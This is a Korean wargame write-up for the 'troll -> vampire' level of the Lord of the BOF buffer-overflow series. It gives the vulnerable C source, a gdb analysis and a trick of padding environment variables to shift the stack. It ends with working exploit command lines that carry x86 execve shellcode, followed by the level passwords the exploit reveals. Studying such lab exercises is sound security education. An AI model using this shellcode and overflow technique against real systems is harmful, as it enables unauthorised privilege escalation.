728x90
반응형
1. intro
2. code 및 분석
2.1 C code
/*
The Lord of the BOF : The Fellowship of the BOF
- vampire
- check 0xbfff
*/
#include <stdio.h>
#include <stdlib.h>
main(int argc, char *argv[])
{
char buffer[40];
if(argc < 2){
printf("argv error\n");
exit(0);
}
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
// here is changed!
if(argv[1][46] == '\xff')
{
printf("but it's not forever\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
2.3. 분석
2.3.1. assembler code (중요 부분)
다시 인자는 1개 이상 사용 가능하지만, 사용할 수 있는 return address 값이 0xbf로 시작하여야하나 이후가 0xff가 되면 안된다.
0x8048480 <main+80>: mov 0xc(%ebp),%eax
0x8048483 <main+83>: add $0x4,%eax
0x8048486 <main+86>: mov (%eax),%edx
0x8048488 <main+88>: add $0x2e,%edx
0x804848b <main+91>: cmpb $0xff,(%edx)
0x804848e <main+94>: jne 0x80484a7 <main+119>
3. 취약점 확인 및 공격 준비
3.1 취약점
마찬가지.
3.2 공격 준비
분석한 내용과 같이 return address로 사용 가능한 주소는 0xbf000000 ~ 0xbffeffff 까지이다.
stack의 데이터는 가장 높은 주소부터 차곡차곡 쌓이는데, 대략
낮은 주소 |
stack |
환경변수 |
높은 주소, 0xbfffffff |
의 모양이다.
현재 stack의 크기는 손댈 수 없으니 환경 변수 값이 매우 크다면 stack은 점점 낮은 위치로 이동할 것이다.
아무것도 하지 않고 main 함수 시작점에 break point를 건 후 실행한 뒤 esp를 보면 그 위치가 아래와 같다.
(gdb) b *main
Breakpoint 1 at 0x8048430
(gdb) r
Starting program: /home/troll/vampira
Breakpoint 1, 0x8048430 in main ()
(gdb) x/x $esp
0xbffffb0c: 0x400309cb
만일 환경 변수를 추가로 설정하고 확인해보면 아래와 같다.
[troll@localhost troll]$ `python -c 'print "export DUMMY=" + "A"*0x1000'`
[troll@localhost troll]$ export
declare -x BASH_ENV="/home/troll/.bashrc"
declare -x DISPLAY="192.168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AAAAAAAAAAAAAAAAAAAA"
declare -x HISTSIZE="1000"
declare -x HOME="/home/troll"
declare -x HOSTNAME="localhost.localdomain"
declare -x HOSTTYPE="i386"
declare -x INPUTRC="/etc/inputrc"
declare -x LANG="en_US"
declare -x LESSOPEN="|/usr/bin/lesspipe.sh %s"
declare -x LOGNAME="troll"
declare -x LS_COLORS="no=00:fi=00:di=01;34:ln=01;36:pi=40;33:so=01;35:bd=40;33;01:cd=40;33;01:or=01;05;37;41:mi=01;05;37;41:ex=01;32:*.cmd=01;32:*.exe=01;32:*.com=01;32:*.btm=01;32:*.bat=01;32:*.sh=01;32:*.csh=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.gz=01;31:*.bz2=01;31:*.bz=01;31:*.tz=01;31:*.rpm=01;31:*.cpio=01;31:*.jpg=01;35:*.gif=01;35:*.bmp=01;35:*.xbm=01;35:*.xpm=01;35:*.png=01;35:*.tif=01;35:"
declare -x MACHTYPE="i386-redhat-linux-gnu"
declare -x MAIL="/var/spool/mail/troll"
declare -x OSTYPE="linux-gnu"
declare -x PATH="/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/home/troll/bin"
declare -x PWD="/home/troll"
declare -x REMOTEHOST="192.168.234.1"
declare -x SHELL="/bin/bash2"
declare -x SHLVL="1"
declare -x TERM="xterm"
declare -x USER="troll"
declare -x USERNAME=""
(gdb) b *main
Breakpoint 1 at 0x8048430
(gdb) r
Starting program: /home/troll/vampira
Breakpoint 1, 0x8048430 in main ()
(gdb) x/x $esp
0xbfffeb0c: 0x400309cb
4. exploit
분석에 따라 환경변수 크기를 매우 크게 설정하고 시도해보면 아래와 같다.
[troll@localhost troll]$ ./vampira `python -c 'print "A"*0x44 + "\xff\xfb\xfe\xbf" + "\x90"*0x100 + "\x31\xc0\x89\xc2\x89\xc1\x50\x68\x70\x61\x73\x73\x68\x2f\x6d\x79\x2d\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"'`
stack is still your friend.
[troll@localhost troll]$ ./vampira `python -c 'print "A"*44 + "\xff\xfb\xfe\xbf" + "\x90"*0x100 + "\x31\xc0\x89\xc2\x89\xc1\x50\x68\x70\x61\x73\x73\x68\x2f\x6d\x79\x2d\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAÿ1hpassh/my-h/bin
㱍
euid = 508
aspirin
[troll@localhost troll]$ ./vampire `python -c 'print "A"*44 + "\xff\xfb\xfe\xbf" + "\x90"*0x100 + "\x31\xc0\x89\xc2\x89\xc1\x50\x68\x70\x61\x73\x73\x68\x2f\x6d\x79\x2d\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAÿ1hpassh/my-h/bin
㱍
euid = 509
music world
728x90
반응형
'Wargame > Hackerchool' 카테고리의 다른 글
[lob] skeleton -> golem (0) | 2022.09.14 |
---|---|
[lob] vampire -> skeleton (0) | 2022.09.13 |
[lob] orge -> trol (0) | 2022.09.13 |
[lob] darkelf -> orge (0) | 2022.09.13 |
[lob] wolfman -> darkelf (0) | 2022.09.13 |